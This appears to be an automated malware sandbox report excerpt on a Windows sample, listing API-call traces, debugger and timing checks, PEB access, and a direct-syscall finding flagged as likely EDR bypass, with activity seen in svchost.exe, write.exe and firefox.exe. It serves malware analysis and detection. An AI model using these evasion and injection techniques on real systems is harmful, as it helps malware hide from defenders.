Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD29
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00475FE5
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8D
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_001EC450 FindFirstFileW,FindNextFileW,FindClose,	6_2_001EC450

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Source: write.exe, 00000006.00000002.3551184016.0000000002865000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllm
Source: fZXsbVktlmkz.exe, 00000007.00000002.3551111899.0000000000520000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllR
Source: firefox.exe, 00000008.00000002.2384386809.000001862960C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllVV

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0327096E rdtsc

1_2_0327096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_004175D3 LdrLoadDll,

1_2_004175D3

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0045A259 BlockInput,

0_2_0045A259

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D6D0

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_03ECD138 mov eax, dword ptr fs:[00000030h]	0_2_03ECD138
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_03ECD0D8 mov eax, dword ptr fs:[00000030h]	0_2_03ECD0D8
Source: C:\Users\user\Desktop\r6lOHDg9N9.exe	Code function: 0_2_03ECBA88 mov eax, dword ptr fs:[00000030h]	0_2_03ECBA88
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A30B mov eax, dword ptr fs:[00000030h]	1_2_0326A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A30B mov eax, dword ptr fs:[00000030h]	1_2_0326A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A30B mov eax, dword ptr fs:[00000030h]	1_2_0326A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322C310 mov ecx, dword ptr fs:[00000030h]	1_2_0322C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03250310 mov ecx, dword ptr fs:[00000030h]	1_2_03250310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D437C mov eax, dword ptr fs:[00000030h]	1_2_032D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B035C mov eax, dword ptr fs:[00000030h]	1_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B035C mov eax, dword ptr fs:[00000030h]	1_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B035C mov eax, dword ptr fs:[00000030h]	1_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B035C mov ecx, dword ptr fs:[00000030h]	1_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B035C mov eax, dword ptr fs:[00000030h]	1_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B035C mov eax, dword ptr fs:[00000030h]	1_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FA352 mov eax, dword ptr fs:[00000030h]	1_2_032FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D8350 mov ecx, dword ptr fs:[00000030h]	1_2_032D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322E388 mov eax, dword ptr fs:[00000030h]	1_2_0322E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322E388 mov eax, dword ptr fs:[00000030h]	1_2_0322E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322E388 mov eax, dword ptr fs:[00000030h]	1_2_0322E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325438F mov eax, dword ptr fs:[00000030h]	1_2_0325438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325438F mov eax, dword ptr fs:[00000030h]	1_2_0325438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03228397 mov eax, dword ptr fs:[00000030h]	1_2_03228397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03228397 mov eax, dword ptr fs:[00000030h]	1_2_03228397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03228397 mov eax, dword ptr fs:[00000030h]	1_2_03228397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032663FF mov eax, dword ptr fs:[00000030h]	1_2_032663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EC3CD mov eax, dword ptr fs:[00000030h]	1_2_032EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032383C0 mov eax, dword ptr fs:[00000030h]	1_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032383C0 mov eax, dword ptr fs:[00000030h]	1_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032383C0 mov eax, dword ptr fs:[00000030h]	1_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032383C0 mov eax, dword ptr fs:[00000030h]	1_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B63C0 mov eax, dword ptr fs:[00000030h]	1_2_032B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE3DB mov eax, dword ptr fs:[00000030h]	1_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE3DB mov eax, dword ptr fs:[00000030h]	1_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE3DB mov ecx, dword ptr fs:[00000030h]	1_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE3DB mov eax, dword ptr fs:[00000030h]	1_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D43D4 mov eax, dword ptr fs:[00000030h]	1_2_032D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D43D4 mov eax, dword ptr fs:[00000030h]	1_2_032D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322823B mov eax, dword ptr fs:[00000030h]	1_2_0322823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03234260 mov eax, dword ptr fs:[00000030h]	1_2_03234260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03234260 mov eax, dword ptr fs:[00000030h]	1_2_03234260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03234260 mov eax, dword ptr fs:[00000030h]	1_2_03234260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322826B mov eax, dword ptr fs:[00000030h]	1_2_0322826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B8243 mov eax, dword ptr fs:[00000030h]	1_2_032B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B8243 mov ecx, dword ptr fs:[00000030h]	1_2_032B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322A250 mov eax, dword ptr fs:[00000030h]	1_2_0322A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236259 mov eax, dword ptr fs:[00000030h]	1_2_03236259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EA250 mov eax, dword ptr fs:[00000030h]	1_2_032EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EA250 mov eax, dword ptr fs:[00000030h]	1_2_032EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032402A0 mov eax, dword ptr fs:[00000030h]	1_2_032402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032402A0 mov eax, dword ptr fs:[00000030h]	1_2_032402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C62A0 mov eax, dword ptr fs:[00000030h]	1_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C62A0 mov ecx, dword ptr fs:[00000030h]	1_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C62A0 mov eax, dword ptr fs:[00000030h]	1_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C62A0 mov eax, dword ptr fs:[00000030h]	1_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C62A0 mov eax, dword ptr fs:[00000030h]	1_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C62A0 mov eax, dword ptr fs:[00000030h]	1_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E284 mov eax, dword ptr fs:[00000030h]	1_2_0326E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E284 mov eax, dword ptr fs:[00000030h]	1_2_0326E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B0283 mov eax, dword ptr fs:[00000030h]	1_2_032B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B0283 mov eax, dword ptr fs:[00000030h]	1_2_032B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B0283 mov eax, dword ptr fs:[00000030h]	1_2_032B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032402E1 mov eax, dword ptr fs:[00000030h]	1_2_032402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032402E1 mov eax, dword ptr fs:[00000030h]	1_2_032402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032402E1 mov eax, dword ptr fs:[00000030h]	1_2_032402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03260124 mov eax, dword ptr fs:[00000030h]	1_2_03260124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov eax, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov ecx, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov eax, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov eax, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov ecx, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov eax, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov eax, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov ecx, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov eax, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov ecx, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DA118 mov ecx, dword ptr fs:[00000030h]	1_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DA118 mov eax, dword ptr fs:[00000030h]	1_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DA118 mov eax, dword ptr fs:[00000030h]	1_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DA118 mov eax, dword ptr fs:[00000030h]	1_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F0115 mov eax, dword ptr fs:[00000030h]	1_2_032F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304164 mov eax, dword ptr fs:[00000030h]	1_2_03304164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304164 mov eax, dword ptr fs:[00000030h]	1_2_03304164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C4144 mov eax, dword ptr fs:[00000030h]	1_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C4144 mov eax, dword ptr fs:[00000030h]	1_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C4144 mov ecx, dword ptr fs:[00000030h]	1_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C4144 mov eax, dword ptr fs:[00000030h]	1_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C4144 mov eax, dword ptr fs:[00000030h]	1_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322C156 mov eax, dword ptr fs:[00000030h]	1_2_0322C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C8158 mov eax, dword ptr fs:[00000030h]	1_2_032C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236154 mov eax, dword ptr fs:[00000030h]	1_2_03236154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236154 mov eax, dword ptr fs:[00000030h]	1_2_03236154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03270185 mov eax, dword ptr fs:[00000030h]	1_2_03270185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EC188 mov eax, dword ptr fs:[00000030h]	1_2_032EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EC188 mov eax, dword ptr fs:[00000030h]	1_2_032EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D4180 mov eax, dword ptr fs:[00000030h]	1_2_032D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D4180 mov eax, dword ptr fs:[00000030h]	1_2_032D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B019F mov eax, dword ptr fs:[00000030h]	1_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B019F mov eax, dword ptr fs:[00000030h]	1_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B019F mov eax, dword ptr fs:[00000030h]	1_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B019F mov eax, dword ptr fs:[00000030h]	1_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322A197 mov eax, dword ptr fs:[00000030h]	1_2_0322A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322A197 mov eax, dword ptr fs:[00000030h]	1_2_0322A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322A197 mov eax, dword ptr fs:[00000030h]	1_2_0322A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033061E5 mov eax, dword ptr fs:[00000030h]	1_2_033061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032601F8 mov eax, dword ptr fs:[00000030h]	1_2_032601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F61C3 mov eax, dword ptr fs:[00000030h]	1_2_032F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F61C3 mov eax, dword ptr fs:[00000030h]	1_2_032F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE1D0 mov ecx, dword ptr fs:[00000030h]	1_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322A020 mov eax, dword ptr fs:[00000030h]	1_2_0322A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322C020 mov eax, dword ptr fs:[00000030h]	1_2_0322C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C6030 mov eax, dword ptr fs:[00000030h]	1_2_032C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B4000 mov ecx, dword ptr fs:[00000030h]	1_2_032B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E016 mov eax, dword ptr fs:[00000030h]	1_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E016 mov eax, dword ptr fs:[00000030h]	1_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E016 mov eax, dword ptr fs:[00000030h]	1_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E016 mov eax, dword ptr fs:[00000030h]	1_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325C073 mov eax, dword ptr fs:[00000030h]	1_2_0325C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03232050 mov eax, dword ptr fs:[00000030h]	1_2_03232050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6050 mov eax, dword ptr fs:[00000030h]	1_2_032B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C80A8 mov eax, dword ptr fs:[00000030h]	1_2_032C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F60B8 mov eax, dword ptr fs:[00000030h]	1_2_032F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F60B8 mov ecx, dword ptr fs:[00000030h]	1_2_032F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323208A mov eax, dword ptr fs:[00000030h]	1_2_0323208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_0322A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032380E9 mov eax, dword ptr fs:[00000030h]	1_2_032380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B60E0 mov eax, dword ptr fs:[00000030h]	1_2_032B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322C0F0 mov eax, dword ptr fs:[00000030h]	1_2_0322C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032720F0 mov ecx, dword ptr fs:[00000030h]	1_2_032720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B20DE mov eax, dword ptr fs:[00000030h]	1_2_032B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326C720 mov eax, dword ptr fs:[00000030h]	1_2_0326C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326C720 mov eax, dword ptr fs:[00000030h]	1_2_0326C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326273C mov eax, dword ptr fs:[00000030h]	1_2_0326273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326273C mov ecx, dword ptr fs:[00000030h]	1_2_0326273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326273C mov eax, dword ptr fs:[00000030h]	1_2_0326273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AC730 mov eax, dword ptr fs:[00000030h]	1_2_032AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326C700 mov eax, dword ptr fs:[00000030h]	1_2_0326C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230710 mov eax, dword ptr fs:[00000030h]	1_2_03230710
